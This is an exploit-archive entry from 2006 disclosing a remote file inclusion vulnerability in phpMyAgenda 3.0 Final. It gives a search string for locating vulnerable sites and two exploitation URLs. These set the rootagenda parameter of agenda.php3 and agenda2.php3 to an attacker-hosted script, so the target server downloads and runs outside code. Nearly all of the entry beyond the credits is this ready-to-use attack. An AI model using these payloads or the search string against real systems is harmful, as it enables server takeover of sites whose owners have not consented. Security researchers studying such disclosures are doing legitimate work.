[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpMyAgenda <= 3.0 Final (rootagenda) Remote Include Vulnerability
# Published : 2006-04-30
# Author : Aesthetico
# Previous Title : Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit
# Next Title : Aardvark Topsites PHP <= 4.2.2 (lostpw.php) Remote Include Exploit
Title: phpMyAgenda <=3.0 Final - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: phpMyAgenda
URL: http://phpmyagenda.com
-----------------------------------------------------------------
Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by phpMyAgenda"
-----------------------------------------------------------------
Exploitation:
/agenda.php3?rootagenda=http://www.yourspace.com/yourscript.php?
/agenda2.php3?rootagenda=http://www.yourspace.com/yourscript.txt?
# www.Syue.com [2006-04-30]